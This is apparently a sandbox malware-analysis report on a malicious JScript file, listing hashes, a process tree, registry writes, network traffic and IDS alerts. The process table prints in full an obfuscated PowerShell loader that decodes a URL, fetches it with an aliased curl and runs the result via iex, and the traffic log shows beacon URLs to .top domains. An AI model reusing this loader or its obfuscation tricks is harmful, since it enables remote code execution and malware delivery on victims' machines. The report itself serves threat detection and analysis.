File name: | _jboadl.js |
Full analysis: | https://app.any.run/tasks/7ca28d69-e359-4a2e-bd1a-3bf8ef586e34 |
Verdict: | Malicious activity |
Analysis date: | July 24, 2024, 07:13:04 |
OS: | Windows 10 Professional (build: 19045, 64 bit) |
Tags: | |
Indicators: | |
MIME: | text/plain |
File info: | Unicode text, UTF-8 text, with very long lines (1103) |
MD5: | A09EEC2A2D08DF007B6E5A2DDAD7F6E6 |
SHA1: | 946091D4FD8467857AC40E58EB80E23235583261 |
SHA256: | 56CD4F8597ED435C750DB80546655477E50D848BA3E0F9BA58B6DA14B399654D |
SSDEEP: | 3072:cBdMAuF/8jCVJluF/8jtVJlJVJlGb/w/R:/+CV7G+tV7JV7GLw/R |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3244 | "C:\Windows\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\_jboadl.js | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
6696 | conhost --headless powershell $slcdatzgpwv='ur' ;new-alias press c$($slcdatzgpwv)l;$ympcfduzlstiwg=(776,785,772,791,794,779,788,778,772,726,720,790,785,786,721,723,720,786,778,786,737,789,735,783,779,784,790,789,723,725);$uoawcz=('bronx','get-cmdlet');$gazcoi=$ympcfduzlstiwg;foreach($wkyeaimonzjbxf in $gazcoi){$cdvmxbol=$wkyeaimonzjbxf;$macftidqb=$macftidqb+[char]($cdvmxbol-674);$gwsurhfypo=$macftidqb; $kuzbptdjsof=$gwsurhfypo};$vyzidqrb[2]=$kuzbptdjsof;$yrlfhbwj='rl';$stjiykqmlexaz=1;.$([char](9992-9887)+'e'+'x')(press -useb $kuzbptdjsof) | C:\Windows\System32\conhost.exe | — | WmiPrvSE.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
116 | powershell $slcdatzgpwv='ur' ;new-alias press c$($slcdatzgpwv)l;$ympcfduzlstiwg=(776,785,772,791,794,779,788,778,772,726,720,790,785,786,721,723,720,786,778,786,737,789,735,783,779,784,790,789,723,725);$uoawcz=('bronx','get-cmdlet');$gazcoi=$ympcfduzlstiwg;foreach($wkyeaimonzjbxf in $gazcoi){$cdvmxbol=$wkyeaimonzjbxf;$macftidqb=$macftidqb+[char]($cdvmxbol-674);$gwsurhfypo=$macftidqb; $kuzbptdjsof=$gwsurhfypo};$vyzidqrb[2]=$kuzbptdjsof;$yrlfhbwj='rl';$stjiykqmlexaz=1;.$([char](9992-9887)+'e'+'x')(press -useb $kuzbptdjsof) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | conhost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
204 | conhost --headless powershell $pifhyvlbrakne='ur' ;new-alias press c$($pifhyvlbrakne)l;$bgkyvatreqxzn=(1001,1010,997,1016,1019,1004,1013,1003,997,951,945,1015,1010,1011,946,948,945,1011,1003,1011,962,1014,960,1008,1004,1009,1015,1014,948,950);$rpmxhyaitbuk=('bronx','get-cmdlet');$doxgtnpsmcu=$bgkyvatreqxzn;foreach($cuwaikf in $doxgtnpsmcu){$yjonsq=$cuwaikf;$ieoslgpczy=$ieoslgpczy+[char]($yjonsq-899);$fxqazjldyb=$ieoslgpczy; $nomtvy=$fxqazjldyb};$azgolqrw[2]=$nomtvy;$mjlykagpo='rl';$lzgevbxjow=1;.$([char](9992-9887)+'e'+'x')(press -useb $nomtvy) | C:\Windows\System32\conhost.exe | — | WmiPrvSE.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
4196 | powershell $pifhyvlbrakne='ur' ;new-alias press c$($pifhyvlbrakne)l;$bgkyvatreqxzn=(1001,1010,997,1016,1019,1004,1013,1003,997,951,945,1015,1010,1011,946,948,945,1011,1003,1011,962,1014,960,1008,1004,1009,1015,1014,948,950);$rpmxhyaitbuk=('bronx','get-cmdlet');$doxgtnpsmcu=$bgkyvatreqxzn;foreach($cuwaikf in $doxgtnpsmcu){$yjonsq=$cuwaikf;$ieoslgpczy=$ieoslgpczy+[char]($yjonsq-899);$fxqazjldyb=$ieoslgpczy; $nomtvy=$fxqazjldyb};$azgolqrw[2]=$nomtvy;$mjlykagpo='rl';$lzgevbxjow=1;.$([char](9992-9887)+'e'+'x')(press -useb $nomtvy) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | conhost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
5028 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
|
(PID) Process: | (3244) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: A1230E0000000000 | |||
(PID) Process: | (4196) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (4196) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
(PID) Process: | (4196) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
(PID) Process: | (4196) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | FileTracingMask |
Value: | |||
(PID) Process: | (4196) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
(PID) Process: | (4196) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
(PID) Process: | (4196) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
(PID) Process: | (4196) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (4196) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 |
PID | Process | Filename | Type | |
---|---|---|---|---|
4196 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_a5bqved5.ctc.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
4196 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_b3jchgky.1sw.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
116 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jknosalx.jpn.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
116 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4m4pc1w1.z3m.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
4196 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:908012AB4950FD4A09FFD504E0D3376E | SHA256:93DBEBBB3D1B17B94A11EDFFB9DE7CD9106D8CCA52A1986AB455AC836A85888B |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
4196 | powershell.exe | GET | 302 | 206.188.196.49:80 | http://fobuxirhb4.top/1.php?s=mints13 | unknown | — | — | unknown |
116 | powershell.exe | GET | 302 | 206.188.196.37:80 | http://dncgnaiaiefnccj.top/d8m4ywesq3htr.php?id=DESKTOP-JGLLJLD&key=85451950462&s=mints13 | unknown | — | — | unknown |
4196 | powershell.exe | GET | 302 | 142.250.185.68:80 | http://www.google.com/ | unknown | — | — | unknown |
4196 | powershell.exe | GET | 429 | 142.250.185.68:80 | http://www.google.com/sorry/index?continue=http://www.google.com/&q=EgRX-YQwGIzTgrUGIjB4V4mgKnXN-xdNIWlH0P-s3xJIcPdTBu_dbJxfSj1h8G5BlntB6nJ-3ipUy-50UsgyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM | unknown | — | — | unknown |
116 | powershell.exe | GET | 302 | 142.250.185.68:80 | http://www.google.com/ | unknown | — | — | unknown |
116 | powershell.exe | GET | 200 | 206.188.196.49:80 | http://fobuxirhb4.top/1.php?s=mints13 | unknown | — | — | unknown |
116 | powershell.exe | GET | 429 | 142.250.185.68:80 | http://www.google.com/sorry/index?continue=http://www.google.com/&q=EgRX-YQwGJDTgrUGIjAvmxfJA0WfApZdC2ZYcoKzxtRceZ7ArYeJinfA1TJ02ESeR3SmXnVFeLOWXk9HlUwyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM | unknown | — | — | unknown |
6944 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | unknown |
7008 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | unknown |
3148 | OfficeClickToRun.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D | unknown | — | — | unknown |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
6012 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
2976 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
2628 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
— | — | 239.255.255.250:1900 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4204 | svchost.exe | 4.208.221.206:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | US | unknown |
4196 | powershell.exe | 206.188.196.49:80 | fobuxirhb4.top | BLNWX | NL | unknown |
116 | powershell.exe | 206.188.196.49:80 | fobuxirhb4.top | BLNWX | NL | unknown |
4196 | powershell.exe | 142.250.185.68:80 | www.google.com | GOOGLE | US | whitelisted |
Domain | IP | Reputation |
---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
fobuxirhb4.top |
| unknown |
www.google.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
dncgnaiaiefnccj.top |
| unknown |
www.bing.com |
| whitelisted |
login.live.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
arc.msn.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
— | — | Potentially Bad Traffic | ET DNS Query to a *.top domain - Likely Hostile |
116 | powershell.exe | Potentially Bad Traffic | ET INFO HTTP Request to a *.top domain |
116 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
4196 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
4196 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
4196 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
116 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
116 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
116 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |